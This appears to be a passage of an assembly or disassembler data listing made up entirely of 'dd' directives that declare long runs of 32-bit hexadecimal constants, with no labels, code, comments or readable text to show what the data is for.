dd 5D25ABF2h, 0AB703A9Ah, 0A081F85Eh, 9C29082h, 55859A57h
dd 7E568189h, 0D82B56D9h, 30A1B583h, 5CE60266h, 0CF1CB4Bh
dd 0B4C178A5h, 0BDE89601h, 0F9FCA297h, 3ABC4814h, 759CECC5h
dd 4366B495h, 964C21D8h, 69ECF7D4h, 4F6653C3h, 3CD0F2D0h
dd 6BD019A1h, 0E421EDDFh, 0B46475E2h, 0ED70477Eh, 13A44478h
dd 9DF0F686h, 0FBD9C4EDh, 64F5FEFAh, 98C7D368h, 0B9805514h
dd 8740EC83h, 0BB531676h, 0C9165658h, 0FE2F0307h, 285657C9h
dd 9523E6A2h, 28A488CFh, 8EB4703Eh, 6375598h, 8BC60D75h
dd 91135885h, 804F6D1Eh, 0B475F43Ah, 8F746CC8h, 0AA523468h
dd 537D938Eh, 2423179Dh, 0C38B86C0h, 48FF5F33h, 898B7A68h
dd 27E7085Dh, 0F582248h, 4AAF9847h, 661EAE08h, 0F345E396h
dd 2134441Dh, 0F60EA0Dh, 29049602h, 792DF9D6h, 4018ADF9h
dd 58B77F04h, 0D66C545Ah, 85341AFFh, 40B80F48h, 0FA9C74F0h
dd 0AD2478D2h, 821A7245h, 0C4E2AC54h, 1C5CBA74h, 5B104457h
dd 0AADA58A7h, 0BF7C9F61h, 0A32F0772h, 0B8DAC134h, 0E4AB0544h
dd 0A98088Dh, 0E213764Fh, 0EC4BDF8Bh, 0C35E1238h, 0BA5E1BEh
dd 0EB751215h, 0F0268110h, 5668DA75h, 0C9821128h, 48B62068h
dd 1888B07Ah, 88434776h, 8425410h, 75D808A7h, 0F8683AB8h
dd 0A7C91153h, 0D0117C08h, 1EF96896h, 8D687874h, 0B5AE0F92h
dd 6CD404B8h, 46845B15h, 775EC9C8h, 0E417D70Ah, 78CA2E80h
dd 704274F5h, 465418A7h, 0B276D04Ch, 706517ACh, 0A7A45078h
dd 2A9C4487h, 8C519421h, 5DEC881Ah, 0B876E494h, 0D04485DCh
dd 0F2C4242Ah, 87B85654h, 0B7728A1h, 0B7718A1h, 0F27791DDh
dd 256595F8h, 13288B2Eh, 641D7C52h, 55483225h, 1AB1E8E5h
dd 0B107FC49h, 2DB0893Fh, 0FC05B93h, 4F489D88h, 0E49CA8FCh
dd 0F177AC4h, 503F47F3h, 0E22D75DCh, 2E15B5E9h, 1A4290E8h
dd 1F8EA64Bh, 0A52BF0Fh, 51257AECh, 455B7970h, 0FA93AAA9h
dd 0E660A6C9h, 52534BE4h, 48B09AB3h, 0FC092DE2h, 898D51C4h
dd 67106AB4h, 3248644Dh, 5D203478h, 20E996D4h, 97FE9A1Ah
dd 0D0AD66F3h, 6F2DB3C1h, 89CA8BD2h, 0CBB4FBCCh, 0E4BE04DCh
dd 4DB2F40Fh, 28BCF197h, 8648BC50h, 0B5768687h, 4F94DF44h
dd 24EC48C2h, 11023D53h, 464F5A53h, 0BD800CF0h, 0FE062551h
dd 5CD0CCCFh, 3D178B13h, 0D6E271CCh, 1D5E6B7Eh, 0AB77D68Bh
dd 0EAF4D0E1h, 0F818C36Eh, 133BAA74h, 6EA42419h, 9F6C7B3Fh
dd 0C89A140Ah, 0BDB0544Eh, 0F859DD1Eh, 0D0A4CD30h, 0ECDD0C7Ah
dd 3CAE2BFBh, 5856B5CEh, 439C5C26h, 0DBF48828h, 51742235h
dd 0B35E24A8h, 347E853Bh, 288040A0h, 151A05BCh, 8848D0Dh
dd 0C603750Eh, 38802001h, 42FB0D0Ah, 0B75B383Eh, 59157F61h
dd 7FA8CC7Ch, 6A840F27h, 13A70CEBh, 25148AA0h, 844D1E78h
dd 112329F2h, 512786A3h, 28B9238Dh, 970C48B8h, 2514465Bh
dd 74297B73h, 20423967h, 6EB41303h, 1477D810h, 213665EBh
dd 7F79E431h, 2F14A421h, 8421A331h, 55DD0F50h, 2E903155h
dd 62226F9Bh, 0FC1FD36Ch, 6820F2D4h, 6E850F3Eh, 2A336407h
dd 14D99142h, 22669323h, 0D41BA187h, 719B59A3h, 0B7940834h
dd 44B7466h, 0B91791A6h, 84AAADA5h, 9061FD6Ch, 0F37A1902h
dd 0F7BFD2ECh, 5FBE9626h, 1074AFE3h, 0ABCB2958h, 6C21258Ah
dd 789C7348h, 127D2585h, 0F102771Fh, 1C925620h, 0FF955370h
dd 0C60455B2h, 0D869AE6Ch, 34C816FAh, 0C2CFAD70h, 8488B5A1h
dd 0BEE2402h, 93890E6Ah, 4D0291FDh, 1D8AA5ACh, 8FCA74Ch
dd 97FD7C50h, 70A4456Dh, 68A4FE25h, 0BC717A1h, 390E5FC8h
dd 98B23537h, 0CE9D786Ah, 0A1E04B34h, 0A365A065h, 0E6C04D2Ch
dd 0DD36511Ah, 0A97D7A87h, 22536474h, 0B981A33Ah, 0A8DE7414h
dd 0ADCDDB95h, 289712D4h, 55AA7682h, 67C6C407h, 10FE89CCh
dd 0CE4C14E4h, 0D0407D08h, 32D2635Dh, 81980D4h, 0D61906D5h
dd 0F2DC5093h, 11EE89CCh, 8C64C21Ch, 5EB97899h, 9934AF04h
dd 78681B00h, 0CB123456h, 1A75EC41h, 0FD7ADDF5h, 5FC5899Fh
dd 984C4A5Bh, 0F9A8C1F4h, 6E54EB02h, 1C4205EDh, 38EB10E0h
dd 512C6821h, 13745425h, 5842FAF9h, 91F45589h, 0C809020Eh
dd 0D20F1ADAh, 830EE280h, 0E35588D1h, 8C408268h, 52F88690h
dd 0FAC9AC50h, 0C1897552h, 4106A5FEh, 0C82A3CE8h, 3FCFE47Fh
dd 26615438h, 180C41BCh, 0B5B80E99h, 0CB58BC64h, 6A36604Fh
dd 7D135E14h, 0C470CC55h, 6FCAC8CAh, 0E8A069FCh, 1E03E921h
dd 11E5BF81h, 0EC5D7252h, 0F88B1EA0h, 1054E7C1h, 57F40B0Ah
dd 0A8B11CA4h, 0C4F61A5h, 5035B7FFh, 0D8039CBBh, 56DC20C6h
dd 888C0A0Eh, 8A3905Dh, 92590691h, 0CD83099h, 32984788h
dd 23C5206Ah, 0C2AA7427h, 765756ECh, 22425B14h, 346A1B1Dh
dd 5F9A811Dh, 46FC7799h, 341F09CCh, 9696021h, 0E5F43212h
dd 46441474h, 0D65928C8h, 0D124D20Ah, 51AA2D85h, 0E2D72D0Ch
dd 0EC382D81h, 2401FE17h, 72481045h, 3BE8C003h, 3C7FC8E8h
dd 0CA8C0F17h, 0E4C723BEh, 73C41C09h, 28B5A22Eh, 475F5946h
dd 0C490A80Ch, 0F81113B4h, 0EBBE428h, 62B55D5Bh, 5E4B6C22h
dd 0C37FCCBBh, 775B5F25h, 925F7292h, 0A40CD5ABh, 8B761813h
dd 4D495EB5h, 0D8DAF316h, 4EF8BA1Bh, 926794A5h, 53A60C57h
dd 8D172C39h, 4253284h, 2669C8FAh, 56BE944Eh, 6C4BEA6Eh
dd 0DD4CDD58h, 2EFFCDF1h, 0BC0C71FAh, 0D13F0903h, 3C686AEAh
dd 0FE448439h, 675B5819h, 43014E6Ch, 9C988902h, 7EDE9DA7h
dd 0A55F7578h, 61449FDCh, 33A37910h, 7D35C8F5h, 0A457DC40h
dd 0D8D9811Ch, 66484D97h, 35B3B8FBh, 58FCC84Fh, 32BBC875h
dd 8935791h, 9AB6F4CEh, 50572CFAh, 0AFD0A619h, 7921196Fh
dd 2BB49490h, 9F64A677h, 750A936Dh, 74646855h, 5ECBB42Dh
dd 0E2D2677Eh, 968F7C14h, 4539EA57h, 0BB4B871Ah, 2CA582C9h
dd 81281D0h, 23EED6FFh, 0A5F2BC4h, 80D774FBh, 870FD06Fh
dd 0A3B4944Eh, 128FBA1Ch, 0A14005C6h, 41D26717h, 0A366D8ABh
dd 54E74228h, 7441D2Ah, 0C8463D22h, 80824848h, 91491D88h
dd 74114A14h, 4CE6630h, 8E3C1D8h, 0A970332h, 94B26A9Dh
dd 0EB5B214Ch, 4BEF4B18h, 0A328B88Bh, 0F0109A1Bh, 2911D250h
dd 3CE4DA97h, 423C884Ch, 1C55A213h, 0F397F070h, 4A3034C1h
dd 0C4B35691h, 10424C5Ah, 28585215h, 46B0FF88h, 0D65C6852h
dd 0D685F326h, 0FF375D94h, 5B2DFE5Ah, 52AD2671h, 0ED453385h
dd 0E02B1255h, 0CAD352B2h, 30FE27F5h, 84792CC2h, 0B854E8A2h
dd 503218F1h, 5F7547AEh, 0EE6653FFh, 0C8166B1Eh, 0F713D1FCh
dd 5005AF75h, 833D5114h, 17414A5h, 0E050D5A4h, 1C108778h
dd 249197ABh, 2D1E0320h, 0C9D45949h, 0B8895C60h, 5EC966B5h
dd 923CFD5Ch, 397712FBh, 61C73A80h, 79FDC025h, 9118112Bh
dd 36E85A58h, 0DA09062Dh, 6B1793A8h, 1CC26154h, 4447F37Ah
dd 953436D8h, 0FEC0FAB8h, 0BEBC5686h, 0D0E4A1DFh, 0CCF9279h
dd 64C18DFAh, 0E8BFEB79h, 971C6AF2h, 5E99947Dh, 1CDDB883h
dd 71EDDCB8h, 45390E64h, 0A8407E8Dh, 0C872330Ah, 330A10D8h
dd 0C0FEC2F6h, 114B267Eh, 0AE6A616Bh, 0F1FCECD0h, 89C44E75h
dd 0BC227FC1h, 15709B8h
dd 0DA7CC086h, 0E1BF0F54h, 10CE1EF5h, 89AF79F0h, 438C1C53h
dd 3ACCB210h, 20964175h, 0E3EFF92Eh, 225B76Ah, 4BD96EBFh
dd 0F63F4FCDh, 0FCBC9645h, 373A75CEh, 0C748B29Eh, 2FE84BACh
dd 12FCCCA1h, 9EAC4D70h, 646AA67Dh, 0FDE432CCh, 0DE89604Ch
dd 877E1BCCh, 44F7E093h, 0A394A894h, 0D2089D40h, 0A4B8530Eh
dd 0BAB311FEh, 0DFFA1BEh, 0E63C5242h, 39934DD3h, 451229B9h
dd 12AB59F2h, 21542AB8h, 0FB8478C0h, 0EE8B523Fh, 41880AD6h
dd 0BC75F1D8h, 58CC4943h, 1A7E17CEh, 0B950086Dh, 249488D4h
dd 8DD4EF35h, 0D96BE67Ch, 0A3F8CE4Dh, 0B6A550Bh, 64CCD45Eh
dd 55E2BB57h, 2BD43ED8h, 4E897AF7h, 53AE5ABBh, 4FABC920h
dd 4E9E28D1h, 6722CE56h, 0BFACBEBCh, 0EB62AD71h, 10384FA1h
dd 0AFD2AF44h, 142F988Eh, 8547D314h, 1091EC23h, 0A213A8D7h
dd 0F5079370h, 3310C0E6h, 0F30C2713h, 7A988B96h, 0EC44C0C7h
dd 3FF3702Ch, 0A192989Eh, 0E8BD6C8Ch, 0E9064E54h, 4E789D2Bh
dd 9BA761B2h, 0C2A21EC5h, 5049FD9Eh, 0C6D39D2Dh, 0E5667E1Ch
dd 0BF0C28B0h, 8D1DC490h, 26D1AEB5h, 0F32EDF8Bh, 0AC21D2CAh
dd 0B6847406h, 0AF51FC4Dh, 9D504CC8h, 838F8A59h, 754B62C6h
dd 7531B2D7h, 499790C6h, 1C59F85Ch, 0E9642297h, 0D02490B5h
dd 7247701Eh, 1D0EF226h, 0C590530Ch, 0F2BC84E7h, 14F8E248h
dd 0F0822042h, 30645356h, 9513225h, 162FEDF9h, 0FE30925Fh
dd 0A6AF2FD0h, 87A936F8h, 5FBF43BDh, 3684637Ah, 0F4206EA5h
dd 85C818E9h, 1EC843BDh, 0B0441BA4h, 7E469AEFh, 95107588h
dd 0B2407236h, 0BE081B4h, 0E2441022h, 2E689E4h, 23E924E8h
dd 0F075F9EAh, 99D57819h, 2ABFCE4Dh, 50D83AE3h, 2D90813h
dd 0CBDA6E2Ch, 0E0E9C0E8h, 0F8210FDEh, 1408C464h, 0F8B0C090h
dd 134AF28Bh, 0A8080CBAh, 0DCBEDC67h, 0B2CC47F4h, 6A5A36D0h
dd 0F448E4A2h, 0DF783E51h, 0E287ECECh, 103F57CCh, 57E014DCh
dd 0DF78B934h, 46EA2BFAh, 47DFC4EBh, 71F4C8B0h, 16E60D27h
dd 0C63BFC17h, 19C8DED2h, 18A802F8h, 88F2235h, 43FC7AECh
dd 8D20ECF4h, 88DAC74Bh, 1C11F733h, 45BF94BCh, 0C4651058h
dd 22E9FE6Ch, 0A936018Bh, 8A8D698Bh, 3F344BB0h, 0A6371505h
dd 0FC6C1644h, 7B0C6802h, 59761574h, 6CF1AFFCh, 427E1AFEh
dd 9D98A8FCh, 59C07E56h, 0D278A583h, 797AFC87h, 26A86524h
dd 8632BB16h, 5A9AC006h, 0AC7D1D8Dh, 377C1A89h, 5805161h
dd 847D4EBAh, 1A885566h, 0C4088C22h, 310C900Eh, 980C1194h
dd 9C101643h, 3AA0C429h, 0A4EA0E52h, 0ABB08C7Eh, 0ECCD48Eh
dd 0CEB806B4h, 2008BC2Eh, 8E3217A6h, 0C78609C4h, 4D261B3Fh
dd 0CB0D5CCh, 91BFABD8h, 0AA571719h, 0D2FCBE73h, 6B07D650h
dd 4271C742h, 0F9E189A5h, 8E9A27EAh, 99B95955h, 7556728Dh
dd 6B182816h, 7C173267h, 0B1DD4BF5h, 0C93D3D6Fh, 0A3569D6Bh
dd 81A1025h, 3B9A6F68h, 87FB3573h, 0FDA7F27h, 0A566C577h
dd 355C44DFh, 0E3522BD7h, 2F0C88E1h, 0D69790D2h, 8A1B53E8h
dd 804F25F4h, 5018E2C1h, 0FB55B80Bh, 1A641A4Ah, 0A4B960ACh
dd 0D279D1Fh, 8C282DDCh, 3004DD0Ch, 129A86D4h, 1639E04Fh
dd 2D448BFCh, 68D6B095h, 0B1E239ECh, 82DE65B9h, 2991E4CAh
dd 0E530090Eh, 9584248Ah, 458841A2h, 89FDAFE5h, 34E9448Eh
dd 0CBC48DECh, 1BE6366Bh, 584D9A50h, 34B468F8h, 3E6BD7DEh
dd 2F81F812h, 9A9994F8h, 0B7C1EE40h, 0C54B48D1h, 0C6562D25h
dd 9F0440D0h, 6810EEC5h, 0B8FDC0C5h, 8061E2D1h, 0B0890E58h
dd 626EFF9Ch, 0E45360D1h, 2D3F70ABh, 0E73BB2D7h, 0BF6725D0h
dd 0C0B16610h, 7C2411FBh, 21EEDA2Fh, 0FBC04258h, 0C4185411h
dd 0FDC0238Ch, 58FBC84Fh, 3BF744B5h, 129253CAh, 75319C59h
dd 7E470BF5h, 3B7BEC84h, 0F7C4EFF4h, 5EA2CDADh, 0BCC7199h
dd 64686E42h, 69E95570h, 7E1BBC03h, 52325381h, 0DB90BECAh
dd 1681204Ch, 1322085Dh, 0EBEF64D0h, 92955C0Eh, 2AAF204h
dd 0FC286A04h, 0CDDC4A86h, 0F3504A9Dh, 0DAD62D2Ch, 5D08C465h
dd 0B0DED4DAh, 1284DD30h, 0CC2D74DEh, 0C110F0B2h, 3CA08E6h
dd 48B55E0Ah, 295EE029h, 69D916EBh, 0A969BD59h, 0C06F0619h
dd 854845CCh, 1075E418h, 613E489Dh, 6B06EBE5h, 0D4BCB953h
dd 20B4EAE2h, 4605B69Fh, 89214CE8h, 7EA85A85h, 0FFB04B68h
dd 83ECC3Dh, 0F502F0EDh, 985CEB02h, 87AEE820h, 3CEB1041h
dd 278FE01Ch, 0F09011EDh, 6870F5F8h, 87F408EFh, 32E3F614h
dd 99C0CE0h, 37A9EBF0h, 0F80999FAh, 0EC60A020h, 0A54EC4A4h
dd 62A62C06h, 206A488Dh, 0FE496B73h, 2463ADA2h, 0AE7380B2h
dd 0F8E26091h, 8542D406h, 7485C233h, 45E2B071h, 0E4AD7188h
dd 0A5DE7860h, 0AE644945h, 2E44BC46h, 2F2FF53Ch, 0B03B10E0h
dd 0FD47C4B8h, 847B7C10h, 4C2BFBC0h, 0E392BB6Ch, 24ABE4E9h
dd 84ECB9E1h, 4428FDC4h, 2591868Ch, 0ECE77B2Ch, 2F7791A1h
dd 7669E1D4h, 0B284A59Dh, 0C2F7D7F8h, 9480187Eh, 8DE9D157h
dd 2CB13C4Fh, 23A8F83Ah, 603B37F7h, 88028A0Bh, 4C2A5ADBh
dd 8B042308h, 0EBE681CEh, 83F9A9F4h, 7FF75EDBh, 0E9D7F809h
dd 543C5DAAh, 93A7DFAAh, 5389681Fh, 317C2D3Fh, 0F40844Fh
dd 39259C0Dh, 7C58C46Bh, 0B832F42Fh, 276979CCh, 0E2B74BC6h
dd 2469FF6Ah, 0A41B2CD6h, 0E76A97B1h, 55F827C7h, 0BF1ADA4Eh
dd 73C0578h, 0B62F09E7h, 451B34ABh, 0CBD845CEh, 0A0BE09DDh
dd 0A5A47B05h, 852AACB4h, 0BDB0CBA0h, 570DC269h, 75099D51h
dd 8269DD59h, 0FE9812ECh, 111272FAh, 48815177h, 0E06BC88Ch
dd 9E45B60Fh, 89D05A1h, 18F7979Ch, 5B0468D8h, 0C262F2D9h
dd 9913EB18h, 4CE96016h, 4A52A0Dh, 63CE1305h, 0EABF424h
dd 56C724A8h, 0DE039B0Ch, 1E7C10ACh, 0AE64E1B1h, 0B0270DF7h
dd 0D9B8CD11h, 5C832285h, 40B217B2h, 0B9B4314Eh, 5729B508h
dd 0BC36B632h, 59C02AB1h, 231BF609h, 0C898C410h, 6966CC86h
dd 0B985E825h, 0CE9EF00Ch, 2047186Dh, 662B28A0h, 0CBC0E8Ah
dd 0F0E58C5Eh, 7DD0B986h, 0D266A978h, 271DD409h, 0D1A20288h
dd 46DD053Fh, 6A85C44h, 642F1FDBh, 0ADCAD4B8h, 7D4C145Ch
dd 58C2D68h, 49582C24h, 79C9FF88h, 935DF1C6h, 77EE060Dh
dd 1D5EE6E4h, 9FAC1AB3h, 7428C044h, 0B3225789h, 5123239Ah
dd 9D429868h, 20CA6668h, 4BD24BF5h, 5CAB88B4h, 0FE2704DEh
dd 18796920h, 53FC2E3Fh, 0BAA4093h, 0D514F84Eh, 594CDE97h
dd 58C81414h, 12597B8h, 0C4548757h, 0D904B8F2h, 86040235h
dd 0E99024D4h, 0E0401082h, 3A9782C7h, 20EA4614h, 1421D142h
dd 464A502h, 0F97C8C2Fh, 0C04A7AE2h, 0C85C5375h, 75549A77h
dd 19D9C242h, 0BC27571Eh, 75F419D1h, 0ACAC861Ah, 7E15EBE9h
dd 33598754h, 50C675FEh, 4D2D8D01h, 254BE5ECh, 1CFEB0C2h
dd 478BCE69h, 6288580Eh, 0DD1BEB73h, 3071EE62h, 1D6120C5h
dd 41297DE8h, 0B45DAC2Dh, 57B7C9C5h, 0F756B2F7h, 0DE276B4Fh
dd 0B6652D8Bh, 0B3E2E016h, 0D0B5BC5Eh, 7DBCC4A2h, 0BDC9EEF3h
dd 3E741112h, 0D6261D21h, 20621012h, 0D7A6AB8Ch, 629D6B9Eh
dd 0DAF6D6FFh, 0C857CC8h, 96CD0149h, 0DC3B6A0Fh, 931174ECh
dd 5C8BE2Dh, 269105EBh, 193D398Bh, 0F00C5280h, 8757CC88h
dd 809911A2h, 7C9B53C5h, 423ED221h, 0AC4FD032h, 33A479CFh
dd 766CAC96h, 5C63F56h, 76E5EDADh, 62A36606h, 4649D21Bh
dd 176405F4h, 65D7015Bh
dd 4E9113CDh, 0E803268h, 2B112669h, 636E6A45h, 23DC6C3Bh
dd 8970C2E0h, 8891F53Ch, 7A439150h, 6164AF5Ah, 0EA292E2h
dd 6DEC289Ah, 76687E8Ch, 68582A69h, 57B0B708h, 0DDD27415h
dd 42255E7h, 2A78A32Bh, 52FBF784h, 79EB3BC7h, 22DCE454h
dd 69E78D56h, 3E1E3D2Bh, 569329FCh, 4FFC2921h, 6FD82393h
dd 728625D0h, 0FB149576h, 18AA62BFh, 92F66921h, 0E3D88CA7h
dd 93427EA6h, 0F12C93C6h, 0C2C0EEAAh, 4DD2FF56h, 58682D44h
dd 18C973CAh, 7F492D9Dh, 95271633h, 20CBA56h, 27CCC52h
dd 0C576ACEBh, 0C836A57Dh, 0F0250E8Eh, 1E2ACDFDh, 0DA672747h
dd 777EA808h, 0EB5610C4h, 8DAAFD16h, 39FE2F6Ch, 12243E72h
dd 0B64790D1h, 0A4EBA82Bh, 6B958DFBh, 4CF8EFC4h, 0A1DCAFD2h
dd 142B8B7Ch, 5F25C314h, 6A4AF89Ch, 0AE1464EBh, 0EA4A01A2h
dd 0F0BD1821h, 1D1CFDEEh, 0C883051Fh, 0AE58EB8Eh, 48E0B6CFh
dd 0F68B7404h, 0FD6954Dh, 1A9DBCF3h, 9D741118h, 0C708A083h
dd 0BA04359Fh, 82FC0232h, 57100796h, 0AD15F64h, 98C82A8Bh
dd 0B67494C4h, 0FC2A5DA1h, 72FA4EF1h, 0FB5D0CE3h, 4B58106Fh
dd 0A62CBEE1h, 0C406ECE2h, 39D1B36Bh, 0F0A3C7E2h, 0CDCEE2C2h
dd 0A8B25F9Dh, 224BE5Bh, 0E196A09h, 3DFF08D6h, 0D79D8994h
dd 12844DC6h, 0FCFEEF86h, 212CC789h, 14202693h, 0E1157844h
dd 16897C08h, 802A4508h, 88210717h, 508C8835h, 18519062h
dd 21865894h, 9C886E98h, 77A06271h, 8687A418h, 8889A821h
dd 0B0628BACh, 0BBB4188Fh, 0B8100142h, 8BCCEBDh, 99C04104h
dd 43C40805h, 0B8C808DCh, 0EACC4106h, 21D0080Ch, 0D4040D3Dh
dd 0D8201388h, 10841A0Bh, 841F40DCh, 0F34590E0h, 8B28F1ABh
dd 0D403E418h, 0B554E3ABh, 0DAFC2226h, 6458C1A5h, 825CFE0Dh
dd 8D85634Ah, 0F22305BCh, 0AB84DA66h, 532E3908h, 3938E32Fh
dd 7327E985h, 0C3E492CDh, 8ABF5150h, 3C042C40h, 468450C8h
dd 2193E5D1h, 0C7CB3256h, 73CF5D39h, 0D45E18BFh, 84248907h
dd 83465E0Dh, 99044CC2h, 7C703C74h, 93C9BFBFh, 0AD4BAA5Fh
dd 7ECC7D57h, 3AA3D669h, 0FB9D0B5Ch, 0C7433FC0h, 8BF6770Ch
dd 4B7BE72Ch, 0C8F815EAh, 7641D459h, 5CF04ECBh, 1AEBE21Ah
dd 9675C38Bh, 9750E2A2h, 89AC6547h, 10F8F6B2h, 439E7C1Ch
dd 900B2D24h, 0BEC5B9F1h, 5C63441h, 56451041h, 1A64F073h
dd 0E064C99h, 54088991h, 367BD44Eh, 6609784Fh, 4EF194A3h
dd 0D801420h, 364F0C98h, 924532C2h, 96900C7Fh, 8DA1750Fh
dd 2EA214FEh, 80B0594h, 0AE7FE0C1h, 0EEBD28Fh, 8A92606Eh
dd 0F19C10CFh, 0BE51088Bh, 1BA0B03Eh, 0AEB11D88h, 5356325Fh
dd 0A9B3B2A8h, 0F88B8818h, 0A5E7C11Eh, 3100F90h, 3C5957E9h
dd 45A8A38Ch, 48B050A0h, 2408177Dh, 6A60020Fh, 0E86A214h
dd 0F050AE66h, 93ACAC8Ch, 22A0B653h, 543DF8A6h, 8AD066CCh
dd 57D1E304h, 50A3CFDCh, 84A125D2h, 0B8199194h, 5D95020Fh
dd 0BA213ABCh, 0EB249528h, 39662F05h, 2F751214h, 91697D56h
dd 0A129A44Ah, 0C82A3DD1h, 2B1445Dh, 0EB3483ACh, 11225E1Fh
dd 659F4510h, 0F2A437A3h, 0C2C9405h, 9F85A5A8h, 0BE590A6Ah
dd 0D4BF0A53h, 229AC5C4h, 0E328B407h, 0BEA5F302h, 4A9A9690h
dd 6B18C956h, 0AAC86EA0h, 12290813h, 1CD127AAh, 68527830h
dd 5EE5BD0h, 0D935FF9Fh, 89C03D0Ch, 4831E281h, 4D8C0F5Fh
dd 744ADA23h, 25759EACh, 7D15090Eh, 117454Ch, 8009F849h
dd 79BB92B8h, 1AD7A7E6h, 0DC8C0B7Bh, 0B8BF0BC4h, 3E9CDF56h
dd 751E7409h, 96FFC1E2h, 0CF0F60AEh, 0FE81F703h, 48E71030h
dd 4BEBDF7Ch, 53E00242h, 2D8BF669h, 4785BC09h, 533B099Eh
dd 17F38B9Bh, 0D00B7344h, 3F9F6830h, 0D7A8868Dh, 0EB901339h
dd 40248972h, 6B94CC1Fh, 6744F642h, 73778082h, 7EF0E249h
dd 0DB908817h, 468D36C0h, 54506318h, 4A4FDC68h, 0EAA375BEh
dd 0B83B862Dh, 812CF843h, 1132C2B8h, 0B93EB6BFh, 53C9DF57h
dd 4A5C5456h, 7140081Ah, 35F4BB02h, 1A99FD4Dh, 64F5E9BEh
dd 0E0D63B18h, 838DC2BFh, 28531285h, 2B000CBFh, 7DDE3BDFh
dd 83B70FE3h, 1150C332h, 0F80584FAh, 0F611F022h, 0C1B7F208h
dd 57017F6Fh, 7E622E56h, 6852F128h, 22132D4Eh, 6B83ADA7h
dd 0BBC6BFF9h, 799D2370h, 0B8584C04h, 337883A4h, 5088814h
dd 9B3D2922h, 39F27C00h, 0B010244Ch, 91515B95h, 0B23C6848h
dd 8A1413C1h, 68502A04h, 0A97F4B28h, 0C3598237h, 3EC5B156h
dd 47531003h, 0D37510CCh, 0B912979Dh, 455D1D9h, 5EC033DDh
dd 5AFC97BEh, 0AC1CC49Fh, 6458A7F4h, 423C5AE4h, 5F4E40AAh
dd 0A554A39h, 1E3BF87Fh, 12DBAE89h, 1E42BBB8h, 43521E75h
dd 4EB51E74h, 68EC8686h, 0EC96FB6Ch, 71FEE408h, 66ED3B80h
dd 0F16A8341h, 3A12A708h, 77842955h, 7E0300E1h, 8657BD1h
dd 0E7666D26h, 7D291E3Bh, 3C15B052h, 0AC198B36h, 0A613C6EBh
dd 5C2873Ch, 22571A74h, 5605FC76h, 46FB726Dh, 0A6CBDF92h
dd 139DC4F7h, 0CB7F5068h, 395904AAh, 0ABEF075h, 491B56D6h
dd 2142C477h, 4BA1FEE8h, 0E83A3FCDh, 5767F15Fh, 0C8A9E604h
dd 51762F83h, 2D34D5EBh, 0F75F7425h, 0C63C141Fh, 0E37BFA55h
dd 54142FA3h, 0E1C16971h, 0C7AD3F08h, 0BA227484h, 0E63B0229h
dd 335723A7h, 0B6DD0B51h, 0EB277B5Fh, 1FB8DD02h, 114EB4B8h
dd 6DB2C4BDh, 0DD2B4C19h, 89E11164h, 0A4C5C7B0h, 18E54E8h
dd 0D88B7A4Fh, 41FB8359h, 7B5275CFh, 688499A8h, 7E208EECh
dd 80F87D80h, 1BA4571Bh, 4E2FC99Eh, 0A3535BBCh, 4DEE8BBFh
dd 886842C4h, 57970EEEh, 32B522B3h, 643DBC64h, 5F8AEF59h
dd 21DBF02Dh, 0EB155449h, 0A5D52329h, 342456B3h, 0A72D3DAFh
dd 7A767E20h, 38320557h, 0DCAA8D75h, 4AF1B889h, 31BA5B69h
dd 59147408h, 28BA2E58h, 0A3537503h, 0C5882938h, 0C348C268h
dd 0F71A5F7h, 840A04E3h, 423BD9Eh, 5B08ADA4h, 0EBFE2D89h
dd 0B0989FBBh, 0CB8FFEA5h, 12C33675h, 0B0A75E8h, 375480BEh
dd 64C85342h, 0B6D05E78h, 69A19F81h, 3DD20372h, 4B885126h
dd 0CCF8A9D4h, 85C87C74h, 73E43C33h, 0DEFB9762h, 544ED01Ah
dd 16B2682Fh, 0D36AFCD2h, 851386BDh, 0A9432720h, 2745DBDDh
dd 848A1301h, 3C14430Dh, 2482AEADh, 0D10145Fh, 1990F9FCh
dd 4D5C4132h, 0D1C8D732h, 534BCD76h, 0F7A662ACh, 0A77FEC23h
dd 0F44EC9DCh, 3DAE9632h, 2BB63B5Bh, 80A85462h, 1435C414h
dd 0E42E1A71h, 0B6FC597Fh, 9D5B0427h, 3FAEFBEBh, 0E65AF57h
dd 9004C804h, 94438023h, 0E59D1256h, 43C8B2DCh, 202F5152h
dd 0EC85BFCh, 5B103C9Eh, 7050CA83h, 79FB4259h, 0BB9721FDh
dd 7F9D3813h, 7F5929BEh, 44094771h, 68AC2640h, 4CC3D078h
dd 54B046E4h, 0EC419CC6h, 5E554ECEh, 0F4DFBCB8h, 7540A4EAh
dd 5468187Fh, 77CB916Fh, 723226C5h, 4EECCEC9h, 3365FD39h
dd 84BF7FA2h, 0E0D2CAA8h, 0C7743B20h, 0B396035Fh, 0B7F5F66Ch
dd 45646ED9h, 31D8F721h, 0DF642F2Ch, 0E0BDCCFBh, 0A9F55F86h
dd 7D309A21h, 14A3C1E5h, 5A88B514h, 0ABD8F7EDh, 1759956h
dd 291EF052h, 11851C57h, 4098F455h, 0FC30E3Bh, 8614AC8Ch
dd 110BFC8Ah, 0EC2937A1h, 4C53C49Bh, 5E448A8Bh, 3DDA8A70h
dd 0F39FF0F8h, 7EF0A726h, 4AD25997h, 0B28D190h, 0E7402C4Dh
dd 9320E4B0h, 0A74CAA98h, 8E14649Ah, 13514C26h, 4D0BFE3Bh
dd 0EB147507h, 619BC38Ch
dd 67BDA817h, 0B410BEB1h, 0CABBA7D1h, 9F53429Eh, 18713167h
dd 0FCD2414Bh, 0B9F6E6C7h, 1D407963h, 5D5FE47Bh, 6575F84Ah
dd 0BB2184BAh, 24F670BCh, 0DFFE5C2Dh, 71A7CBAh, 74777462h
dd 284AD30Dh, 22873EAh, 8801C04Ch, 7757040h, 818C6812h
dd 4946D0E0h, 43905E50h, 2B2888CDh, 509933B7h, 0BC3C095Ch
dd 25FCAC5Fh, 0B9EC1448h, 22522786h, 3C216B90h, 0FB233B81h
dd 53425762h, 0EB3C8B3Eh, 34874D7Dh, 42F8EB21h, 0E2ABF5h
dd 7BB29A22h, 3E367426h, 5E2524A1h, 54CBC37Ch, 0D0577DBAh
dd 0BD089260h, 6FF41439h, 0F22B9299h, 98EB856Ch, 42688062h
dd 0D7E75D96h, 46DF1220h, 58DC7CAFh, 878EFE40h, 95A928AEh
dd 9AD337Bh, 0F19CDF46h, 8341E446h, 0F8DC9C7Eh, 44A253B5h
dd 4A7D9948h, 817B4484h, 5D42799Bh, 0F68308ECh, 0A6864BD1h
dd 0C4FC5E62h, 0EF8C29B5h, 76081E1Fh, 5D728FA9h, 10920967h
